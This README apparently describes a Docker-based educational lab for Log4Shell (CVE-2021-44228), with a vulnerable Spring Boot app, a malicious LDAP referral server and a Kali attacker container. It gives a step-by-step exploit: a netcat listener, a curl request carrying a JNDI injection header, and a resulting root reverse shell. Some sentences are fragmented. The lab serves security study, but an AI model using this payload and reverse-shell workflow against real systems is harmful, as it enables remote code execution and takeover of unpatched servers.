
Laboratorio automatizzato Plug & Play in Docker per auditare e studiare la vulnerabilità Log4Shell (CVE-2021-44228)
Un laboratorio di ricerca sulla sicurezza automatizzato, avviabile con un singolo comando, progettato per dimostrare e verificare la vulnerabilità di Esecuzione Remota di Codice (RCE) Log4Shell (CVE-2021-44228).
Questo progetto riunisce tutti i componenti necessari (applicazione vulnerabile, server LDAP di referral malintenzionato e strumenti dell'attaccante) in un'infrastruttura di rete unificata e isolata basata su Docker Compose.
.env o allineamento della rete richiesti. Tutto viene risolto automaticamente tramite il DNS interno di Docker.UnsupportedClassVersionError.configurar.sh) che automatizza la rimozione dei container, la pulizia della cache e le ricostruzioni.Il laboratorio crea una rete bridge isolata (red-log4shell) con tre attori principali:
web-vulnerable): Un'applicazione web Spring Boot che utilizza una versione di Log4j vulnerabile e non mitigata (2.14.1) in esecuzione su Java 8u111.ldap-malicioso): Basato su marshalsec per intercettare le richieste di lookup in entrata e reindirizzare dinamicamente la vittima al payload dell'attaccante.kali-tools): Un container Kali Linux personalizzato che ospita un server HTTP Python per distribuire il payload dell'exploit compilato (Exploit.class) e un listener Netcat per catturare la reverse shell.Per implementare questo laboratorio su qualsiasi macchina Linux con Docker installato, esegui i seguenti comandi nel terminale:
# 1. Clone the repository
git clone https://github.com/MAFO-sec/mi-laboratorio-log4shell.git
# 2. Navigate to the project directory
cd mi-laboratorio-log4shell
# 3. Grant execution permissions to the script manager and launch the lab
chmod +x configurar.sh
./configurar.sh
🚀 Come sfruttare la vulnerabilità (Passo dopo Passo)
Una volta che l'infrastruttura è attiva e in esecuzione automaticamente tramite lo script, segui questi passaggi per attivare l'exploit e catturare la reverse shell. Passo 1: Configurare il listener Netcat
Apri un nuovo terminale sulla tua macchina host (Ubuntu) e collegati al container dell'attaccante per mettere Netcat in attesa di connessioni in entrata: Bash
sudo docker exec -it kali-tools bash
All'interno del container Kali, avvia il listener: Bash
nc -lvnp 4444
Vedrai il messaggio: listening on [any] 4444 ... Passo 2: Lanciare il vettore d'attacco
Apri un altro terminale separato sulla tua macchina host e invia la stringa di injection JNDI dannosa incorporata nell'header X-Api-Version: Bash
curl http://localhost:8080/ -H 'X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}'
Passo 3: Verificare la reverse shell
Torna al tuo terminale Netcat. Dovresti vedere una connessione attiva. Ora puoi eseguire comandi come root all'interno del server vittima: Bash
connect to [172.21.0.4] from (UNKNOWN) [172.21.0.2] 57164 whoami root
Questo repository è stato creato esclusivamente per scopi educativi, ricerca sulla sicurezza e audit accademici autorizzati. Non eseguire mai questi strumenti o infrastrutture di attacco senza un'autorizzazione scritta esplicita e preventiva da parte dei proprietari dell'infrastruttura.